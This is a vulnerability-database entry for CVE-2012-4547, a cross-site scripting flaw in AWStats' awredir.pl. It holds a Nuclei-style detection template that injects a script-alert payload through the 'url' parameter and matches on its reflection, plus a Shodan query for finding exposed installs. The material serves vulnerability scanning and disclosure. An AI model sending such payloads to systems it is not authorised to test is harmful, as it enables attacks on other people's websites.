CVE-2012-4547: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

日期: 2025-08-01 | 影响软件: AWStats 6.95 | POC: 已公开

漏洞描述

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

PoC代码[已公开]

id: CVE-2012-4547

info:
  name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
  reference:
    - https://www.exploit-db.com/exploits/36164
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4547
    - http://awstats.sourceforge.net/docs/awstats_changelog.txt
    - http://openwall.com/lists/oss-security/2012/10/29/7
    - http://openwall.com/lists/oss-security/2012/10/26/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4547
    cwe-id: CWE-79
    epss-score: 0.37906
    epss-percentile: 0.97116
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: laurent_destailleur
    product: awstats
    shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
  tags: cve2012,cve,xss,awstats,edb,laurent_destailleur

http:
  - method: GET
    path:
      - '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
      - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203166e4e01e0e711847cac6449182277894a6c4d50b0dcf91d77a13eb5a7e92c10220015eb99c3af2c268cf10d6cda2dc78c99c2ac20945b0270912b5c745fb202abd:922c64590222798bb761d5b6d8e72950